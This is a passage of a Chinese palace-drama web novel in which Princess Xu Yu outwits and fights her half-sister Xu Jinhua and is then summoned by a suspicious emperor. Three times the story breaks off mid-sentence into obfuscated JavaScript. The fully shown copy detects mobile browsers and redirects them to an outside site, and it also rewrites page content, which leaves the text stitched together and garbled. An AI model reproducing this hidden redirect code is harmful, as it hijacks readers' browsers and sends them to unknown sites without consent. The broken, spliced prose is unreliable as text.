她的脸颊从通红变成惨白,又从惨白染上青气,活像是池子里被水泡烂了的败荷。 完了,完了,再无翻盘的可能了。 胥锦婳终于意识到,对上胥毓,她完全就不是对手! “荒唐!”此时回过神来的皇帝把茶盏往案上一放,声音里满是怒气,“胥锦婳,你弄成这副模样擅闯宴席,还平白污蔑毓儿,朕平日教你的规矩都学到哪里去了?” 她张了张嘴,喉咙里却像堵了团棉花,一个字也说不出来。 眼角的余光扫过席间,胥嘉端着茶盏,眼观鼻鼻观心,明明自己是在帮她做事,却完全没有要替自己说两句话的意思。 从前总爱缠着她玩的胥弦月,经历了上次的下毒一事,也慢慢地有所疏远。 甚至就连地上那金粉落尽的微光,都似乎也在嘲笑她的狼狈。 “还不快回去!”皇帝的声音更冷,“公主没有公主的样子,别在这儿丢人现眼!” 胥锦婳踉跄着后退一步,泪珠终于忍不住滚下来,混着脸上没冲净的脂粉,在颊上划出两道印子。 她狠狠瞪了胥毓一眼,那眼神像淬了毒的针,随后猛地转身,踩着湿漉漉的裙摆冲了出去。 殿门在她身后“砰”地关上,震得梁上的铜铃轻轻晃了晃。 胥毓回座,端起面前的茶盏,指尖摩挲着温热的杯壁,眼底掠过一丝极淡的笑意,但很快又被温顺取代。 她轻声道:“让诸位见笑了,三皇妹许是落水后慌了神。” 丝竹声重新响起,方才的插曲仿佛只是一阵掠过堂前的风,很快就散了,只有廊下那串未干的水痕,还在悄悄诉说着后花园里的那场风波。 这一仗胥毓赢得干净漂亮,胥锦婳身败名裂,而她,裙角微脏。 所以一时高兴,她便没忍住多喝了两杯。 直至酒过三巡,人已微醺,才听得芳吟悄凑到她的耳边悄声说道。 “公主,邰将军在偏殿等您。” 29. 闹掰 偏殿外的海棠开得泼泼洒洒,枝桠斜斜探过雕花廊檐,粉白花瓣被风卷着打旋,落得阶前廊下一片狼藉,倒比殿内宴席的锦簇更添几分热闹。 只是这热闹,落在有些人眼里,反倒衬得周遭愈发的静了。 邰玉轩背对着殿门立在廊柱边,玄色锦袍上落了几片花瓣,墨色丝线绣的暗纹被遮了大半。 倒像他这人一般,连孤寂都藏得这样不动声色。 廊下挂着的宫灯被风推得轻轻摇晃,光影在他侧脸游移,把下颌线衬得愈发冷硬。 胥毓的声音从长廊那头传来:“邰将军中道离席,将本公主约至此处,不知所为何事?” 她刚从宴席上脱身,还穿着那身赴宴的宫装,眼下裙摆沾了些草屑,显然是绕了远路。 她站在三步外的海棠树下,没再靠近,指尖无意识的摩挲着珍珠冠上垂落下来的流苏。 邰玉轩转过身时,目光在她裙摆上顿了顿,才缓缓开口:“公主今日对三公主出手,未免太过冒险。” 胥毓挑眉,眼尾微微上挑。 她不意外邰玉轩竟然这么快就知道了此事,只觉得这人好没意思,这么久没见面,开口的第一句居然是指责她不该为自己报仇。 所以她拉下脸:“听这意思,邰将军今日是来替旁人说教的?” “臣不敢。”邰玉轩往前挪了半步,袍角扫过廊下青苔,带起一片落花,“只是公主若锋芒太露,难免让有心人记恨,毕竟公主在皇宫里也待了不少时日,对于上边那几位的心思,想必该比臣更加清楚。” 风声渐起,卷得胥毓鬓边一缕碎发贴在颊边,带着点凉意。 她抬手将碎发别到耳后,语气渐渐冷了下来:“我不露锋芒,难道等着被人当软柿子捏?邰将军也知道那日的毒针若非我发现及时,只怕是会要了我的命。而如此深仇大恨,你冒险约我前来,竟只是关心我是否会锋芒太甚?” “我不是这个意思!”邰玉轩开口。 太过着急,甚至连他那装模作样的“臣”也忘了说。 他只是想让眼前人明白,身处皇宫,一举一动都有人暗中盯梢着。 而公主的身份非同一般,再加上如今的朝堂局势不稳,若在此时冒头,引起了朝堂众人的注意,绝非好事。 毕竟,近来裕嘉城的动作愈加频繁,两国之间,若不能寻得平衡之法,只怕不日便又要再起战事。 可这些,他怎么好说呢。 阿柳才刚刚回宫,她一向向往亲情,若这个时候告诉她,太过冒尖被注意到,或许会被有心之人大做文章,最后不得不踏上和亲那条不归路。 她会作何感想? 他不想让她知道这些事,过早的陷入这些八字还没一撇的忧虑里,所以他只能旁敲侧击。 但胥毓显然不懂这些弯弯绕绕,她已经陷在了邰玉轩就是来说教她的猜想里。 这些日子她一个人思考对策,一个人部署全局,虽然做的时候并没有觉得有何不可。 但如今事了,那些刻意压制在心里的茫然,心悸,以及强撑的镇定,此刻全化作酸意往眼眶里涌。 她不是一个没有感情的木头人,所以很多事情尽管她一个人就能做到,可事后回想起来,也会忍不住有些为这孤军奋战的落寞感到悲哀。 她想,她应当也是需要一个懂她的怀抱的。 可眼见人此番前来,竟然只为说教! 她慌忙地别过脸去,对着满树海棠花眨了眨眼,心想着就算再难受,也绝不能在这个狗东西的面前失态! “臣的意思是,皇室亲情素来是镜花水月,公主该学会藏锋。”邰玉轩的声音轻了些,在心里重新措辞了一番,“而对于这种不忿之事,不必事事都自己扛着,有些腌臜事,交给臣来做便好。臣早就说过,为刀为剑,只求公主此生无恙。” 胥毓猛地回头,鬓边沾的海棠花瓣颤了颤:“你这话是什么意思?” 他不让自己出手,不是嫌自己太过莽撞,而是怕她沾染这世间的污浊? 邰玉轩却没接话,只抬手替她摘去那片花瓣。 指尖不经意擦过她的耳尖,像有细小的电流窜过,胥毓下意识缩了缩脖子。 他的指尖带着些早春的凉意,倒比殿里熏的暖香更让人清醒…… “宴席要即将散场,公主该回去了。”他把花瓣捏在指尖,转身往廊外走了半步。 那突如其来的亲昵让胥毓心头一乱,方才涌上来的酸意也突然有些变了滋味。 她后退半步,故意把声音放得硬邦邦:“我的事自有分寸,不劳将军费这闲心。” 说完转身就走,裙裾扫过廊下石阶,带起一片落花。 邰玉轩下意识想跟,脚步刚抬起来,就被胥毓回身用眼神制止。 她的眸中没了最开始的气愤,但也多少还带着点情绪:“别跟着我!” 邰玉轩果然没有在跟,只站在原地,看着她的背影一步步融进漫天落花里,石青色裙角偶尔被花瓣盖住,又被她甩袖拂开,倒像只急于挣脱束缚的雀儿。 远处宴席的乐声顺着风飘过来,丝竹管弦闹得正欢,衬得这廊下愈发静了。 邰玉轩缓缓摊开手掌,那片从胥毓鬓边摘来的花瓣早被他捏得不成样子,粉白的瓣儿碎在掌心,倒像是谁悄悄落了泪,连痕迹都这样的浅淡。 * 宴席结束,凝晖堂的灯火渐次熄灭,唯有檐角宫灯在寒风中摇曳,将廊柱映出橘红的光晕。 胥嘉提着裙摆快步穿过回廊,绣鞋在石板地上留下一串细碎的脚印。 她本是想先去见见太子,毕竟今日在众人的眼皮子底下,他们俩话都没来得及说上两句。 但行至半道,未见太子,倒是远远地望见胥锦婳独自站在梅树下,肩膀一抽一抽的,显然在哭。 这个蠢笨的三公主前世分明和自己不大亲厚,但重生回来,却不知为何变得格外维护自己。 宫人稍有怠慢,她还没说话,胥锦婳倒是先出声呵斥,膳食若有不合口味,也不等胥嘉张嘴,胥锦婳便先一步重新张罗。 若非她早就知道自己并不是真正的皇室血脉,恐怕都要疑心这人不是什么三皇妹,而是她一母同胞的亲妹妹了。 而这次对胥毓出手,也是因着自己接二连三在她回宫之前就表露出了不满,所以尽管没有她的指使,胥锦婳也依旧按照她所猜想的那样,开始对付胥毓。 只是她没想到,这胥锦婳又蠢又坏,竟想一石二鸟的借胥弦月之手毒死胥毓。 只可惜她功夫不到家,太过轻敌,不仅没有扳倒胥毓,反倒还接二连三的搬起石头砸自己的脚。 这样无用之人,她本不想再搭理,但又想着再怎么样胥锦婳好歹还有个公主身份,万一以后,还有能用得上的地方呢? 所以思考了一瞬,她便掉头朝着胥锦婳的方向迈步而去。 “锦婳妹妹。”胥嘉走近,声音温柔似水,“怎么不回宫换衣裳?当心着凉。” 胥锦婳被赶出凝晖堂后,并没有回去换衣裳。 因为她的母妃王美人乃是浣衣局出身,没有资格参加这等显赫的宴席,所以此刻正在宫中。 若她此时回去,这身狼狈的模样,定会叫母妃知晓今日她在凝晖堂做下的那些蠢事。 母妃身子本就不好,她不想再让这些事惹其烦心,便只好装作还在宴席上没有脱身的样子,等到母妃睡下再悄悄回去。 却不想胥嘉这时候却突然出现。 ……她,是特意来找自己的吗? 毕竟,自己从小到大,可为她做了不少的事情。 胥锦婳猛地转身,眼中还噙着泪,却在看清胥嘉表情的瞬间僵住了,那张惯常温柔的脸上,此刻竟带着毫不掩饰的讥诮。 “嘉姐姐……”胥锦婳声音发颤,"你是来帮我的吗?" 胥嘉刚一开口就有些后悔了。 她如今虽然因胥毓的回归被压了一头,只落得了个郡主的称号,但她的背后站着的可是太子,更遑论她还有重生所带来的前瞻之能。 这样的身份,还有什么是眼前这个根本就不受宠的三公主能比得过的? 胥锦婳现在就是一颗废棋,至于从前她的那些帮助,也不过都是她自己心甘情愿上赶着,哪怪得了旁人。 更何况想给自己做事的人多了去了,她能给自己帮些忙,也算得上是她的荣幸。 所以看见胥锦婳一脸希冀的表情,她不屑地轻嗤一声,指尖抚过梅枝上新开的花骨朵。 说道:“帮你?一个连胥毓都对付不了的废物,有什么值得我帮的?” 她突然用力一折,梅枝应声而断。 胥锦婳踉跄后退,后背抵上冰冷的树干。 她简直不敢相信自己的耳朵,还有些怀疑是不是自己听错了:“嘉姐姐,你是不是喝多了?还是……还是怕有人听见?”她急切地环顾四周,“这里没人,你不用……” “蠢货。”胥嘉冷冷打断,“你以为我平日里对你好,是真拿你当姐妹?” 她将折断的梅枝扔在胥锦婳脚边,“不过是看你够蠢,好利用罢了。不过如今你,皇帝不喜,母亲是个废物 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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胥嘉根本就不会因为自己的帮助高看而高看她一眼,更遑论在太子继位后,让她和她的母亲好过一点。 她这些年的付出和努力,统统都是白费力气。 再加上今日她又暴露了知晓胥嘉和太子私情一事,恐怕等着她的,不会是什么好下场了。 只是不知,此事会不会牵连到她无辜的母妃。 不过既然已经注定没什么好下场了,她又何须再受胥嘉这个贱人的气。 往日之仇,今日不报,更待何时? 想起年幼时的自己,无疑中撞见集万千宠爱于一身的胥嘉,被尚且还让皇帝厌弃的太子压在身下啃咬亲吻的画面,胥锦婳发出一声嗤笑。 “我是下贱胚子?”她猛地抓住胥嘉的手腕,力气大得惊人,“那你这个冒牌货又算什么?别以为我不知道你和太子的那些龌龊事!” 她果然早就知道! 胥嘉脸色骤变,抬手就要打,却被胥锦婳抢先一巴掌扇在脸上。 “啪!” 清脆的耳光声在寂静的宫道上格外刺耳,胥嘉捂着脸,不可置信地瞪大眼睛。 “来人!”她厉声喝道,“给我按住这个贱人!” 今日参加宫宴,不便带着太多人,所以胥嘉的身边也只有两个年岁尚轻的宫女。 此刻两个宫女立刻上前,想要一左一右钳制住胥锦婳,但胥锦婳自幼便在宫里摸爬滚打,哪是这两个小宫女能够轻易制得住的? 所以只见她一脚踹飞一个,不过眨眼功夫,那两人就已经躺在地上爬不起来。 胥嘉这时候才后知后觉地想要逃跑,但胥锦婳哪能给她这个机会,错过了这一次,自己只怕是再也没有机会报仇雪恨。 所以她当即快步上前,一把揪住胥嘉的发髻,将她拽到自己的面前。 “胥嘉,你有太子撑腰又如何?别忘了你就是个冒牌货!郡主又怎么样,谁知道你跟太子做了什么龌龊事,才容得他为你求到如此殊荣,但本质上却还是个贱婢!你莫不是以为自己还能当太子妃,将来当皇后了吧?就算你能,但那都是后话,如今我是公主,记挂往日姐妹之情叫你声姐姐是我大度,但却不是你不懂规矩的理由!所以,现在,本公主要你跪下给我磕头,你也不得不服!” 最后,胥嘉被强迫着磕了三个响头,额头都蹭破了皮。 等她再抬头时,胥锦婳已经扬长而去,只留下湿濡的石板地上一串凌乱的脚印…… 30. 胥毓打架,皇帝召见 胥锦婳跌跌撞撞地走在回宫的路上,手中不知从哪顺来的酒壶已经空了大半,寒风卷着雨粒拍打在脸上,她却丝毫感觉不到寒冷。 “公主……”王美人派出来寻她的两个宫女小心翼翼地劝道,“咱们回去吧,当心着凉。” 但胥锦婳恍若未闻,仰头又灌了一口酒。 辛辣的液体滑过喉咙,灼烧着五脏六腑。 她想起第一次撞见胥嘉和太子在假山后拥吻的场景,想起自己为胥嘉做的那些腌臜事,想起母妃含泪叮嘱她要谨言慎行的模样…… “哈哈哈……”她突然大笑起来,笑声凄厉,“全都……全都是骗子!” 而此时另一边的拐角处,胥毓正独自漫步在回寝宫的路上。 她去见邰玉轩后,心下烦闷,便将芳吟等人一并遣回了宫,想要自己一个人在外边儿逛逛。 但天色渐暗,不知何时又飘起了绵绵细雨,尽管心中的烦闷丝毫没有消解,她也不得不掉头准备回未央宫了。 可哪知眼看着临门一脚就要到家,不知从哪儿冒出来的胥锦婳,却忽然远远地叫住了她。 “胥毓!” 胥毓收回了脚,只见远处的胥锦婳忽然眼睛一亮,然后便踉跄地朝着自己冲了过去。 她应当是喝多了酒,所以此刻人走不稳也就算了,竟连基本的尊卑都忘了个干净。 胥毓好整以暇地看着那身影靠近,正思考着她现在来找自己是意欲何为,就见她忽然大喝一声:“给我抓住她!” 抓谁? 胥毓眉头一挑,看了看胥锦婳身边的那俩小宫女,眼生得紧,头一回见,但又紧跟在胥锦婳的身边。 应该是她母妃宫里面派出来寻她的。 那两个小宫女听到胥锦婳的命令,先是一惊,随后便是你看看我,我看看你。 谁抓?我俩吗? 一边是自己宫里边儿的主子,一边儿又是正得圣宠的大公主,得罪了谁她们都吃不了兜着走。 所以犹犹豫豫了好一会儿,她们才想出了个折中的好办法。 既不公然违背胥锦婳的命令,也不真的胆大包天到去抓住大公主,而是悻悻地挪动脚步,站到胥毓身边,看起来就好像将胥毓给团团围住了一样。 胥毓见状怒极反笑,她冷眼扫过众人,“三皇妹这是做什么?以下犯上,不怕掉脑袋?” 宫女们闻言瑟缩了一下,交叠在腹部的双手紧张地搓着大拇指。 胥锦婳却完全没有反应,她醉醺醺地走近,然后一言不发抬手就是一巴掌。 胥毓早就关注着胥锦婳的动作,所以那一巴掌迎面拍来,她立马就反应过来偏头躲闪。 只是她没想到几杯黄汤下肚,竟是把胥锦婳这纸糊的老虎给灌成了“景阳冈醉汉”,见她及时躲闪,便立马转掌为抓,在胥毓的脖颈上划出了三道血痕。 “嘶——”胥毓脖子一歪,顿时倒抽一口冷气,眼中也瞬间寒光乍现,“胥锦婳,你找死!” 因着她的动作,珍珠冠上那颗南海鲛人珠饱受摧残,终于支撑不住的“啪嗒”一声掉在地上,然后顺着青石板咕噜噜的滚得老远。 但在场的众人此时都无暇理会。 “我找死?”胥锦婳狞笑着扬起手,“今天本公主就要让你看看究竟是谁找死!” 胥锦婳五指成爪再度袭来,胥毓偏头避过的瞬间抬膝猛顶其腹。 谁知对方醉归醉,腰肢竟软得像条泥鳅,扭身堪堪避开这记断子绝孙腿,反手就扯住了胥毓腰间玉带。 “松手!”胥毓暴喝一声。 奈何这醉鬼力气大得惊人,既听不进话,也撒不下手。 所以为免自己在这大庭广众之下玉体横陈,胥毓只好欺身上前,强逼对方撒手。 但谁知胥锦婳撒手的同时,趁机又朝胥毓的脸上抓去,这次倒是躲得没有第一次那样轻松。 所以在那两个宫人倒吸凉气的声音里,胥毓的的左脸猛地被胥锦婳划出一道血痕! 可她没有呼痛,而是趁此机会肘击对方肋下。 然后在胥锦婳吃痛松劲的刹那,一个翻身将人反压在地,再抡拳朝着那张如花似玉的脸上砸去。 可谁知就在拳头离胥锦婳的鼻尖半寸时,胥锦婳突然“哇”地吐了。 胥毓僵在原地,她的拳头,离呕吐物只有一粒米的距离! “……” 胥锦婳吐完还知道用袖子擦了擦嘴,擦完后冲着胥毓咧嘴一笑,露出沾着菜叶的虎牙:“大皇姐怎么不打啦?” 胥毓的太阳穴突突直跳。 她现在非常理解为什么有些话本里的大侠打架的时候,总是要喊来喊去的了,毕竟有些崩溃,有些时候确实是需要配音。 而此时,暗处的阴影里,一个宫女正缩着脖子看着眼前这滑稽的一幕。 她本是浣衣局的一个小宫女,因宴席人手不够,所以奉命过来收拾宴后残局。 但谁知收拾完后走在回浣衣局的路上,她却眼尖地瞥见了地上那团莹白的光芒,她心中一喜,刚要弯腰去捡,却听远处骤然传来一声“松手”。 她还当是自己被发现了,于是赶忙跪在地上连呼“恕罪”,但没人理她。 所以又跪了一会儿,她隐约听见远处传来打闹的声响,才大着胆子抬头看了一眼。 而这一看就更加不得了了,她竟然看见两个公主在这那边打得难分难舍,如痴如醉。 显然,先前的那声“松手”并不是对自己说的。 她将地上的珠子捡了起来,然后偷眼往两个公主的方向瞧去,只见一个公主形容狼狈,一个公主虽然发丝也有些散乱,但浑身上下的穿着打扮却是极好。 而自己手中的这个珠子便是从她的冠上遗落的。 是还回去,还是偷偷昧下? 她感受着珍珠上细腻的触感,想起宫外等着救命钱的老母…… 昧下,或许便能救母亲一命,可这东西这么贵重,如若被发现自己必然难逃一死。 还回去,那自己只怕是猴年马月才能凑到给母亲治病的钱了。 就这样想着想着,忽然,只见原本停下来的两人又缠斗在了一起。 而那位原本被压在地上的公主翻身而上,竟是直接将另一位华服公主给推倒在地,眼看着她距离那位公主的脚步越来越近。 电光火石之间,小宫女想到了第三个选择。 或许……她可以救下那位公主,如若那位公主是个心善的,赐下赏赐,或许她就既不用去死,也能救下自己的母亲了! 说干就干! 所以,就在胥毓被胥锦婳反推在地,眼看着巴掌就要抽到脸上的时候。 就见一个浣衣局打扮的小宫女突然冲过来,然后扑通跪在地上,“公主,别、别打了!皇上往这边来了!” 她一个小宫女,自然没有办法承接一个公主的怒火,所以她在过来的一瞬间,便想好了托词。 先用这句话打断她们,之后皇帝来,证明她没说谎,若没来,也可以搪塞为或许有事又回去了。 毕竟她说得只是往这边来,而不是已经到了。 胥锦婳的手僵在半空,听见这个消息酒顿时醒了大半。 而就在她愣神的刹那,胥毓猛地挣脱钳制,然后反手一巴掌扇在她的脸上。 “啪!” 这一巴掌用了十成力,所以胥锦婳直接被扇得跌坐在地。 胥毓站起身来,居高临下地看着她,感受着掌心传来的酥麻,心里总算是舒了一口气:“看清楚了吗,巴掌就该这样打。” 胥锦婳被打得一蒙,她捂着脸,还没反应过来要做些什么,突然觉得颊上一阵奇痒。 “痒……好痒!”她惊恐地抓挠起来,指甲在皮肤上留下一道道红痕,这时才后知后觉的反应过来,“胥毓!你对我做了什么?!” 胥毓冷笑一声,头也不回,只有冰冷的声音随风飘来:“三皇妹还是想想,待会儿怎么跟父皇解释你殴打皇姐一事吧!” 胥锦婳瘫坐在地上,望着胥毓远去的背影,内心的挫败在这一刻达到了顶峰。 凭什么呀,凭什么每次受罚的都是她,凭什么她使尽浑身解数都得不到的东西,这些人轻轻松松便能将其拥有?< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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皇帝身边的总管太监张炳春带着几个小太监匆匆赶来,见到皇后连忙行礼:“娘娘金安。皇上命奴才请荣安公主过去一趟。” 皇后的眼神瞬间冷了下来,她当然清楚皇帝此时为何要见胥毓。 胥锦婳那个蠢货今日不仅得罪了胥嘉,还当众揭破太子与胥嘉的私情,太子岂能善罢甘休? 而皇帝的召见不过是个形式,他素来不愿看见子女间的争斗,所以让胥毓去,只怕也是想借她之口加以调解。 但那个老东西什么脾性这么多年她哪能不知道,现在若是叫张炳春把人带走,等到他看见胥毓脸上的伤…… 皇后想到了什么,当即挡在胥毓身前,语气不容置疑地道,“没看见公主受伤?本宫要带公主回去上药。” 张炳春陪着笑,但身子却纹丝不动:“娘娘恕罪,皇上说了,务必即刻带公主过去。” 胥毓感觉到了皇后后背的绷紧。 虽然不知道她为何这么担心皇上的此次召见,但显然张炳春得令前来,不会轻易放人。 所以她轻轻拉了拉皇后的衣袖:“母后放心,父皇或许有事要交代,儿臣去去就回。” 皇后转头看她,眼中闪过一丝复杂的情绪。 宫灯的照耀下,胥毓脸颊上的红痕格外刺目,虽然血迹已经凝固,但却更像是某种刻在脸上的狰狞诅咒。 “去吧。”皇后最终让步,但却在胥毓耳边极轻地说了一句,“记住,无论他说什么,都不要答应。” 胥毓微微一怔,还未来得及细想,张炳春已经做了个“请”的手势。 她无暇再问,只得带着满腹疑惑深吸一口气,跟着太监们踏上了通往乾清宫的宫道。 雨下大了,纷纷扬扬,皇后站在原地,望着胥毓远去的背影,手指无意识地摩挲着腰间的荷包。 “娘娘……”香巧小声唤道。 皇后收回目光,转身朝相反的方向走去:“去查查,今晚那个浣衣局的宫女是谁的人。” 她的声音比这冬夜还冷,惊得香巧一个激灵。 主仆二人的身影渐渐消失在细雨中,只留下满地凌乱的脚印,很快就被雨水给覆盖,仿佛今夜的一切都不曾发生…… 31. 发配锦婳,威胁胥毓 乾清宫内中此刻灯火通明,胥毓还未踏入殿门,就先听见太子胥阳丹激昂的斥责声穿透厚重的门帘: “胥锦婳目无尊长,当众羞辱嘉儿,此等不敬手足之罪,理当严惩!儿臣恳请父皇将其送入静心庵修行!” 胥毓的脚步微微一顿,袖中手指无意识蜷缩起来。 静心庵,那可是个吃人不吐骨头的地方,据说前朝有位妃子被送去“静养”,不出三月就传出“暴病而亡”的消息,当时抬出来的尸首上十指尽断,甚至连舌头都不翼而飞。 太子如此提议,显然是不打算给胥锦婳留活路。 只是……羞辱胥嘉,这又是什么时候的事? 张炳春掀帘的瞬间,龙涎香混着炭火气扑面而来,胥毓垂眸整了整袖口,借着这个动作快速地将殿内情形逐一扫过。 太子跪得笔直却脖颈泛红,活像只煮熟还硬撑着的虾公,胥嘉立在一旁,眼圈通红,额头上还带着先前磕头时留下的淤青。 当然最妙的还要数胥锦婳,原本被带回宫的她不知什么时候被截到了这里来,方才张牙舞爪的劲头全都泄了,此刻瘫在地上活脱脱是条离水的鲶鱼。 随着张炳春的一声:“荣安公主到——” 几人的视线瞬间转移到她的身上。 皇帝端坐在龙椅上,面色阴沉如水。 他在打量着胥毓,胥毓当然也没有错过他脸上的表情,抬眼对上天子震怒的面容,便见那两道花白眉毛高高扬起,倒像是要离家出走似的。 但是不过须臾,停留在自己身上的目光就骤然瞳孔一缩,随后便听那人有些焦急地唤道:“毓儿,快上前来!” 他说着又猛地站起,案上的茶盏被衣袖带翻,滚烫的茶水泼了一地。 等到胥毓终于站到他的面前,他确定自己方才看到的痕迹并不是错看,才一脸恼怒地追问:“你的脸是怎么回事?” 他问得是胥毓先前和胥锦婳打架时,脸上留下的那道血痕。 虽不重,但此刻宫灯暖黄光晕的映照下,在她白皙的肌肤上却显得格外清晰。 可不等她回答,一旁的张炳春已经躬身说道:“回皇上,三公主在殴打了胥嘉郡主后,又醉酒对荣安公主动了手,此乃当时浣衣局的一个小宫女亲眼所见。” “混账!”皇帝一掌拍在案上,震得笔架上的御笔齐齐一跳,“胥锦婳!” 胥锦婳浑身一颤,匍匐着爬到御前:“父皇明鉴!是胥毓先——” “住口!”皇帝厉声打断,“朕看你是不知悔改!” 先前太子来禀,说她今日强逼胥嘉磕头,手段恶劣至极,实在不堪再留在皇宫之中,他还不以为意。 毕竟这胥锦婳再如何,那也是他胥瀮的孩子,和他血脉相连,是东陵城堂堂正正的公主殿下。 又岂是胥嘉这个冒牌货能够比的。 当初之所以留下她,也是因为太子再三恳求,加之能顺势体现皇室仁德。 但这却并不是她能骑到真正的皇室公主头上来的理由! 所以叫胥毓前来,也是为了借她之口拒绝太子的要求。 胥毓一向聪慧,今日胥锦婳大闹寿宴之事都没有过多追究,想来也能明白他的苦心。 可是,他没想到胥锦婳这个胆大妄为的蠢货动了胥嘉还嫌不够,竟又把手伸到了胥毓的身上。 那可是胥毓呀,是那个人留在这世上唯一的血脉,也是这世上和她最为想象的人。 而胥锦婳不仅动了她,还伤了她的脸,简直是罪无可恕! 皇帝的脑子里面翻江倒海,想到最后,甚至还有些头晕目眩,一旁的张炳春赶忙上去将他扶住,生怕他被气出了个好歹来。 但皇帝只缓了一瞬,便撒开张炳春的手。 他面色阴沉地转向太子,“你如此声势浩大的要求朕处置你的妹妹,只因为她得罪了你身边的这个女人,若说你只是秉公处理,不徇私情,倒也就罢了。但同一时间,你的另一个妹妹也受到了不公正的对待,可你别说为她主持公道了,竟连知情都做不到。太子,你有什么要解释的吗?” 太子脸色铁青,额角渗出细汗。 还能有什么解释的,当然是因为胥嘉不仅是他的人,更是他的女人! 但这话如何能够说出口来? 当今圣上一忌骨肉相残,二厌悖逆人伦,虽说如今他和胥嘉并无血缘关系,但胥嘉毕竟是确确实实的在宫中和自己当了十多年的“兄妹”。 所以他若此时说出二人之间的感情,谁会相信当初身份尚未公布的时候,他二人仍是干干净净? 到时再拔出罗卜带出泥,牵连到他先前力排众议强留胥嘉为郡主一事,那他这太子之位,倒也算是要坐到头了。 所以这决不能说! 太子怨毒地目光幽幽地落在胥锦婳的后背上,他是真想不明白,自己的这个妹妹看胥嘉不爽也就算了,怎么还敢胆大包天的在这个时候去触胥毓的霉头。 如今牵连到自己也被问责,她可当真算得上是死有余辜了! 不过想归想,现在的当务之急,还是得先找个理由为自己开脱,所以太子犹豫地开口道:“儿臣——” “够了!”但是皇帝的耐心已然耗尽。 太子什么德行他心里一清二楚,此番逼问也只是给他敲个警钟提提醒,倒没打算真让他给出个什么交代来。 所以打断太子后一甩袖,他忽然开口降下旨意:“胥锦婳不敬手足,目无尊长,即日起发配皇陵守陵,无诏不得回京!” 胥锦婳如遭雷击,瘫软在地。 皇陵苦寒,去那里与等死无异,她张了张嘴,却发不出声音,只能绝望地看着皇帝。 但皇帝恍若未察,继续说到,“至于其母王氏……” “不!父皇,不要处罚我母妃!” 自己受罚,胥锦婳没什么怨言,毕竟那些事情确确实实都是她亲手犯下的,但若是牵连母亲王氏,那她可真是罪该万死。 所以她哭喊着上前抱住了皇帝的大腿:“父皇,求你不要牵连我母妃,儿臣知错了!儿臣去守皇陵,一辈子都不回来,儿臣会好好在皇陵忏悔赎罪……求您看在女儿真心认错的份上,放我母妃一码吧!” 地上跪着的一圈人皆是冷眼旁观着这一切,完全没有一丝反应,甚至还生怕这场帝王的怒火,会无端的牵连到自己身上。 唯有胥毓,看着皇帝冷酷无情的侧脸,心中突然升起一丝异样。 皇帝方才看她的眼神太过炽热了,但那眼神又不像是来自一个父亲对于女儿的关心,那种眼神,更像是穿透了她,落在了某个遥远而又虚无缥缈的幻影上。 而且不只是皇帝,有些时候,就连皇后,甚至芳吟,都曾用这种眼神看过她…… 不知是想到了什么,胥毓看了看胥锦婳,犹豫地开了口:“父皇,三皇妹已然受罚,且素闻这王美人身子孱弱,若再降罪,只怕是有些过于严苛。所以依儿臣之见,便放王美人一马吧。” 胥毓求情,皇帝自然没有再过多追究。 毕竟他素爱虚名,此番顺着胥毓的台阶饶王美人一命,倒又衬出了他的仁义之名。 等到该罚的罚,该惩的惩,所有人都陆陆续续的离开乾清宫后。 皇帝看着胥毓,声音突然柔和下来,他招手示意胥毓上前,“毓儿,到朕身边来。” 胥毓缓步走近, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16068274|177870||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 任由皇帝颤抖的手指轻抚她脸上的伤痕。 那指尖冰凉,带着龙涎香的馥郁,却莫名地让她后背发寒。 “疼吗?”皇帝轻声问,那个平日里冠冕堂皇的男人,此刻眼中竟似有水光闪动。 胥毓摇头:“儿臣无碍。” 皇帝长叹一声,突然转向身旁的张炳春等人:“你们都退下。” 待殿内只剩他们二人,皇帝才拉着胥毓在暖阁坐下,然后亲自为她斟了杯热茶。 “毓儿。”他的语气忽然变得语重心长,“朕最忌讳手足相残,这话说了不知多少遍,但却只有你是牢牢记在心里边的。自从崇文馆之事后,无论那几个逆子如何胡闹,你都始终进退有度,不骄不躁。包括今日之事,你也做得很好。” 胥毓垂眸抿茶,不置可否,茶是上好的雨前龙井,只可惜她不懂茶,只觉涩得发苦。 皇帝继续说道:“只是,如今你的年岁渐长,与人接触之间也当要有些分寸才是。朕最近听闻,你和那个侍卫似乎走得有些近……” 胥毓指尖一颤,茶水险些洒出。 “他是儿臣的侍卫,儿臣与他不过是些主仆间的正常来往。” “最好如此。”皇帝意味深长地看着她,“只是前朝后宫本就为一体,朕虽极为不舍,但若再有类似今日之事发生,或许……朕就该考虑你的婚事了。” 这句话像一盆冰水浇在胥毓头上。 她猛地抬头,正对上皇帝深邃的目光,那里面没有一个父亲对女儿的疼爱,只有一位帝王对棋子的审视。 “儿臣谨记父皇教诲。”她听见自己机械地回答。 窗外,狂风呼啸。 皇帝忽然拍了拍她的手,语气带着几分恍惚:“你娘……可曾提起过朕?” 胥毓心头一震。 她娘……不就是皇后娘娘? 父皇若想知道,自己去未央宫问问不就好了。 虽然他们二人相处的时候看起来总是有些别捏,但帝后之间,更多的本就是利益纠葛,所以少了些爱恨情仇,也是再正常不过的事情。 但是此时此刻,胥毓忽然就觉得他说得不是皇后。 可若不是皇后,又还能是谁? “父皇刚刚说的什么?”胥毓没有刨根问底,而是选择装没听到。 